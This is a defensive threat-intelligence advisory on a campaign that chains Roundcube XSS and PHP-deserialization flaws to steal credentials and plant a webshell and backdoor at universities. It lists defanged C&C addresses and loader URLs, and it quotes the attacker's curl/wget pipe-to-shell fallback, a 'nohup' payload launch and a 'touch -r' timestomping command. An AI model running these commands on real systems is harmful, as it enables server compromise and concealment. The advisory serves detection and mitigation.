One Email Closer to the Edge: UNK_MassTraction & the Physics of Exploitation
UNK_MassTraction, a suspected China-aligned threat cluster, has been exploiting chained n-day vulnerabilities in Roundcube mailservers (CVE-2024-42009 XSS followed by CVE-2025-49113 PHP deserialization) targeting physics and engineering departments at US and Canadian universities since May 2026. The campaign deploys a custom JavaScript credential stealer (IceCube), a webshell (SquareShell), and the VShell backdoor via an in-memory ELF loader, treating mailservers as edge devices for network pivot. The tooling demonstrates mature operational security including anti-forensics, fallback mechanisms, and process spoofing.
- emailjpcontreras[@]newfield[.]clCompromised email address used as sender in phishing lures targeting university departments
- filenameplugins/newmail_notifier/mail_preview.phpSquareShell webshell dropped into Roundcube plugin directory; masquerades as legitimate 'Mail Preview & Test' plugin and is timestomped to match adjacent plugin file timestamps
- filename/tmp/log_de.logLock file checked by VShell ELF loader (SNOWLIGHT) to determine if another loader instance is already running
- ip194[.]213[.]18[.]133IceCube JavaScript backdoor delivery and C&C server (June 2026 activity)
- ip45[.]150[.]109[.]151IceCube JavaScript backdoor delivery and C&C server (May 2026 activity)
- ip45[.]86[.]229[.]111VShell C&C server and fallback shell script download host
- sha256a02f124c5ce4180bd130a62ee03262f399c33491de3aed36e0b15155ae4926c0SHA256 hash of the IceCube JavaScript stealer payload
- urlhxxp://45[.]86[.]229[.]111:8080/?h=45[.]86[.]229[.]111&p=8080&t=ws&a=132&stage=trueArchitecture-specific ELF loader (SNOWLIGHT) download URL for i386/i686 systems
- urlhxxp://45[.]86[.]229[.]111:8080/?h=45[.]86[.]229[.]111&p=8080&t=ws&a=164&stage=trueArchitecture-specific ELF loader (SNOWLIGHT) download URL for x86_64 systems
- urlhxxp://45[.]86[.]229[.]111:8080/?h=45[.]86[.]229[.]111&p=8080&t=ws&a=a32&stage=trueArchitecture-specific ELF loader (SNOWLIGHT) download URL for armv7lx systems
- urlhxxp://45[.]86[.]229[.]111:8080/?h=45[.]86[.]229[.]111&p=8080&t=ws&a=a64&stage=trueArchitecture-specific ELF loader (SNOWLIGHT) download URL for aarch64 systems
- urlhxxp://45[.]86[.]229[.]111:8080/slwFallback shell script download URL used when SquareShell webshell deployment fails; downloads and pipes to shell for VShell loader deployment
- urlhxxps://194[.]213[.]18[.]133[.]sslip[.]io:23088Base C&C URL for IceCube JavaScript backdoor delivery and communication (June 2026)
- urlhxxps://194[.]213[.]18[.]133[.]sslip[.]io:23088/app/js/jquery[.]min[.]jsIceCube JavaScript stealer delivery URL masquerading as jQuery library (June 2026)
- urlhxxps://45[.]150[.]109[.]151[.]sslip[.]io:23088Base C&C URL for IceCube JavaScript backdoor delivery and communication (May 2026)
- urlhxxps://45[.]150[.]109[.]151[.]sslip[.]io:23088/app/js/jquery[.]min[.]jsIceCube JavaScript stealer delivery URL masquerading as jQuery library (May 2026)
Detection / Hunteropenrouter
What Happened
Since May 2026, a suspected Chinese hacking group called UNK_MassTraction has been breaking into email systems (specifically Roundcube webmail) at university physics and engineering departments in the US and Canada. They send a specially crafted email that, when simply opened, triggers a security flaw in the email software that lets the attackers run code in the victim's browser. From there, they steal login credentials and exploit a second flaw to take control of the email server itself, installing hidden backdoor programs that let them return later and potentially move deeper into the university's network. The targets appear to be departments with ties to national security or advanced physics research. Organizations running Roundcube should immediately patch CVE-2024-42009 and CVE-2025-49113, check for the specific webshell and backdoor indicators described in the report, and treat their email servers with the same security rigor as their VPN or remote access systems.
Key Takeaways
- China-aligned threat cluster UNK_MassTraction has been exploiting n-day vulnerabilities in Roundcube mailservers at US and Canadian university physics and engineering departments since May 2026.
- The attack chain chains CVE-2024-42009 (XSS) for initial browser-side execution with CVE-2025-49113 (PHP deserialization) for server-side compromise, deploying a custom JavaScript stealer called IceCube and the SquareShell webshell.
- If webshell deployment fails, a fallback channel downloads a shell script that deploys an architecture-dependent ELF loader (SNOWLIGHT) to run the VShell backdoor in memory under a spoofed process name.
- IceCube is heavily commented and likely LLM-assisted; it includes anti-forensic features such as session destruction, deferred triggers for tab/page closure, and cleanup of local storage.
- The threat actor treats mailservers as edge devices for network pivot, consistent with prior Chinese adversary TTPs.
Affected Systems
- Roundcube webmail servers running versions vulnerable to CVE-2024-42009 and CVE-2025-49113
- Linux servers hosting Roundcube instances (ELF loader and VShell target Linux architectures including x86_64, i386, aarch64, armv7lx)
Vulnerabilities (CVEs)
| CVE | Product | Severity | Description |
|---|---|---|---|
| CVE-2024-42009 | Roundcube webmail | Cross-site scripting vulnerability that fails to adequately sanitize JavaScript in HTML email bodies, allowing execution via the onanimationstart function when an email is opened in the webmail client. | |
| CVE-2025-49113 | Roundcube webmail (Crypt_GPG_Engine parsing) | PHP deserialization vulnerability that abuses parsing of embedded Crypt_GPG_Engine objects, allowing arbitrary class instantiation and shell command execution via __destruct() when serialized data is deserialized. |
Attack Chain
- Initial Access: Phishing emails sent from compromised senders or spoofed domains (lax DMARC) to university physics/engineering department staff
- Execution: CVE-2024-42009 XSS in Roundcube executes embedded JavaScript via onanimationstart when email is opened in webmail client
- Credential Access: JavaScript loader fetches IceCube stealer from C&C; IceCube escapes Roundcube iframe, steals credentials, 2FA tokens, cookies, and browser reconnaissance data, exfiltrating via HTTP POST
- Persistence/Pivot: IceCube uses CSRF token to exploit CVE-2025-49113 (PHP deserialization) to write SquareShell webshell to plugins/newmail_notifier/mail_preview.php with timestomping
- Fallback: If webshell deployment fails, gadget downloads shell script from 45.86.229.111 which fetches architecture-dependent ELF loader (SNOWLIGHT) and executes VShell backdoor in memory under spoofed process name [kworker/0:2]
- Defense Evasion: IceCube destroys sessions, cleans local storage, implements deferred triggers for tab/page closure, and removes forensic evidence from Roundcube server
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: No
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
The article does not include any detection rules (YARA, Sigma, Snort/Suricata, KQL, SPL, EQL). It provides IOCs, code snippets, and attack chain descriptions that could be used to develop custom detections.
Detection Engineering Assessment
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | EDR would see the VShell ELF loader and backdoor execution on Linux hosts, including process spoofing ([kworker/0:2]) and nohup execution. However, the JavaScript execution and IceCube credential theft occur entirely within the browser context, which most EDR solutions have limited visibility into. The webshell operates within the PHP/web server process, making it harder to distinguish from legitimate web server activity. |
| Network Visibility | High | The C&C communication uses HTTP/HTTPS to specific IP addresses on non-standard ports (23088, 8080). The sslip.io domain pattern and direct IP-based URLs are detectable via network monitoring. IceCube exfiltrates data via HTTP POST. The architecture-specific download URLs with query parameters are distinctive and correlatable. |
| Detection Difficulty | Hard | The initial XSS execution happens entirely client-side in the browser with no EDR visibility. The webshell masquerades as a legitimate Roundcube plugin and is timestomped. VShell runs in memory under a spoofed kernel worker process name. The phishing emails use generic lures and compromised senders. Detection requires correlating multiple telemetry sources across browser, web server, network, and endpoint. |
Required Log Sources
- Web server access logs (Roundcube/nginx/Apache)
- PHP error logs
- Network proxy/egress firewall logs
- DNS resolution logs
- Linux process execution logs (auditd, eBPF)
- Email gateway logs with header inspection
- Roundcube application logs
Hunting Hypotheses
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Consider hunting for outbound HTTP/HTTPS connections to sslip.io subdomains or direct IP addresses on non-standard ports (e.g., 23088, 8080), which may indicate IceCube or VShell C&C communication. | Network proxy logs, egress firewall logs, DNS resolution logs | Command and Control | Low — sslip.io is a dynamic DNS service; direct IP connections on non-standard ports from webmail servers are uncommon in enterprise environments. |
| Consider hunting for new or modified PHP files appearing in Roundcube plugin directories, particularly files with names resembling legitimate plugins but with recent creation timestamps inconsistent with package installation. | File integrity monitoring on web application directories, web server access logs showing POST requests to plugin paths | Persistence | Medium — legitimate plugin updates may trigger this; correlate with web server access logs for deserialization-related requests. |
| Consider hunting for Linux processes named [kworker/0:2] that are not children of the kernel init process, which may indicate VShell loader process spoofing (T1036). | Linux process execution logs (auditd, eBPF, /proc filesystem monitoring) | Defense Evasion | Low — legitimate kworker processes are kernel threads and should not appear as userspace processes with network connections. |
| Consider hunting for HTTP requests to Roundcube instances containing serialized PHP objects in POST data, particularly targeting the Crypt_GPG_Engine deserialization path (CVE-2025-49113). | Web server access logs, WAF logs, PHP application logs | Exploitation | Low — legitimate Roundcube requests should not contain PHP serialized objects in parameters that trigger class instantiation. |
| Consider hunting for curl, wget, or python being used to download and pipe content to shell on Linux webmail servers, which may indicate the fallback VShell loader deployment chain. | Linux process execution logs, command line logging | Execution | Medium — administrators may use similar patterns for legitimate tasks; correlate with web server process ancestry and network destinations. |
Control Gaps
- Client-side JavaScript execution within webmail browsers is not visible to most EDR or endpoint monitoring solutions
- Timestomped webshells in legitimate plugin directories may evade file integrity monitoring if timestamps match adjacent files
- In-memory VShell execution under spoofed process names may bypass process allowlisting on Linux servers
- Generic phishing lures with compromised senders may bypass email gateway filtering, especially when DMARC policy on sender domains is lax
- Direct IP-based C&C communication on non-standard ports may bypass URL/domain-based proxy filtering
Key Behavioral Indicators
- Process ancestry: web server process (php-fpm/apache/nginx) spawning shell commands or downloading remote content
- New PHP files appearing in Roundcube plugin directories with timestamps matching existing plugin files
- Outbound connections from webmail server infrastructure to sslip.io subdomains or direct IPs on ports 23088 or 8080
- Linux userspace process named [kworker/0:2] with active network connections (legitimate kworker threads are kernel threads without userspace network sockets)
- Presence of /tmp/log_de.log as a lock file indicating VShell loader activity
- Roundcube webmail requests containing onanimationstart event handlers in HTML email bodies
- HTTP POST requests from browser sessions to non-standard ports carrying credential/cookie data
False Positive Assessment
Low — The IOCs are specific (direct IP addresses on non-standard ports, sslip.io subdomains, specific file paths in Roundcube plugin directories, and a spoofed kernel worker process name). The attack chain requires specific Roundcube vulnerabilities, and the behavioral indicators (webshell in plugin directory, userspace [kworker/0:2] process, curl-to-shell on webmail servers) are unlikely to occur in normal operations.
Recommendations
Immediate Mitigation
- Verify against your organization's incident response runbook and team escalation paths before acting. Consider patching Roundcube instances immediately for CVE-2024-42009 and CVE-2025-49113 if your organization runs this software.
- Consider checking Roundcube plugin directories for the presence of files named mail_preview.php in the newmail_notifier plugin path, and investigate any unexpected PHP files with timestamps matching adjacent legitimate plugin files.
- If your network monitoring supports it, consider blocking or alerting on outbound connections to the identified C&C IP addresses (45.150.109.151, 194.213.18.133, 45.86.229.111) and associated sslip.io subdomains.
- Consider searching web server logs for requests to plugins/newmail_notifier/mail_preview.php and for POST data patterns consistent with PHP serialized objects targeting the Crypt_GPG_Engine deserialization path.
Infrastructure Hardening
- Consider enforcing strict DMARC policies (p=reject) on all domains your organization controls to reduce spoofing risk, and evaluate whether your email gateway rejects or quarantines emails from domains with lax DMARC records.
- Evaluate whether your Roundcube deployment can be placed behind a WAF capable of inspecting and blocking JavaScript in HTML email bodies and detecting PHP deserialization attack patterns.
- Consider implementing file integrity monitoring on Roundcube plugin and application directories to detect unauthorized file creation or modification.
- If applicable to your environment, consider network segmentation to restrict outbound connections from webmail server infrastructure to only necessary destinations, reducing the risk of direct C&C communication.
User Protection
- Consider deploying browser-based security controls that can detect and block malicious JavaScript execution within webmail interfaces, such as Content Security Policy headers for Roundcube.
- If your EDR supports Linux process monitoring, consider deploying rules to alert on userspace processes with kernel-thread-like names (e.g., [kworker/0:2]) that have active network connections.
- Consider evaluating whether your endpoint or network tools can detect the curl-to-shell or wget-to-shell execution pattern on Linux servers hosting web applications.
Security Awareness
- Consider reminding users in sensitive research departments that opening an email — even without clicking links or attachments — can be sufficient for compromise in webmail clients with known vulnerabilities.
- Consider incorporating into existing awareness programs the note that generic-looking emails (e.g., marketing-style content) may be deliberate lures designed to be opened and overlooked rather than engaged with.
- If your organization includes physics, engineering, or national security-adjacent research departments, consider briefing relevant staff on the elevated targeting risk and encouraging prompt reporting of suspicious emails.
MITRE ATT&CK Mapping
Initial Access
Execution
Persistence
Privilege Escalation
Credential Access
Command and Control
Additional IOCs
- Urls:
hxxps://45[.]150[.]109[.]151[.]sslip[.]io:23088- Base C&C URL for IceCube JavaScript backdoor delivery and communication (May 2026)hxxps://194[.]213[.]18[.]133[.]sslip[.]io:23088- Base C&C URL for IceCube JavaScript backdoor delivery and communication (June 2026)hxxp://45[.]86[.]229[.]111:8080/?h=45.86.229.111&p=8080&t=ws&a=164&stage=true- Architecture-specific ELF loader (SNOWLIGHT) download URL for x86_64 systemshxxp://45[.]86[.]229[.]111:8080/?h=45.86.229.111&p=8080&t=ws&a=132&stage=true- Architecture-specific ELF loader (SNOWLIGHT) download URL for i386/i686 systemshxxp://45[.]86[.]229[.]111:8080/?h=45.86.229.111&p=8080&t=ws&a=a64&stage=true- Architecture-specific ELF loader (SNOWLIGHT) download URL for aarch64 systemshxxp://45[.]86[.]229[.]111:8080/?h=45.86.229.111&p=8080&t=ws&a=a32&stage=true- Architecture-specific ELF loader (SNOWLIGHT) download URL for armv7lx systems
- File Paths:
/tmp/log_de.log- Lock file created by VShell ELF loader to prevent multiple loader instances
- Command Lines:
- Purpose: Fallback shell script download and execution when SquareShell webshell deployment fails; downloads architecture-dependent ELF loader for VShell backdoor | Tools:
curl,wget,sh| Stage: Fallback chain — VShell deployment |(curl -fsSL -m180 <url> || wget -T180 -q <url>) | sh - Purpose: Bash script detects host architecture, downloads corresponding ELF loader payload from C&C, and executes it in background | Tools:
curl,wget,python,nohup| Stage: VShell loader deployment |nohup <payload> & - Purpose: PHP deserialization gadget writes SquareShell webshell to disk and timestomps it to match legitimate plugin file modification time | Tools:
PHP,touch| Stage: Server-side pivot — webshell deployment |touch -r <legitimate_plugin> <webshell_path>
- Purpose: Fallback shell script download and execution when SquareShell webshell deployment fails; downloads architecture-dependent ELF loader for VShell backdoor | Tools:
- Other:
PRHFBKji5Duhc_zuHPi6_szK9Fu76mDTdCaMj9NknI- Authentication token (_ctoken) observed in IceCube JavaScript loader code, used in C&C communication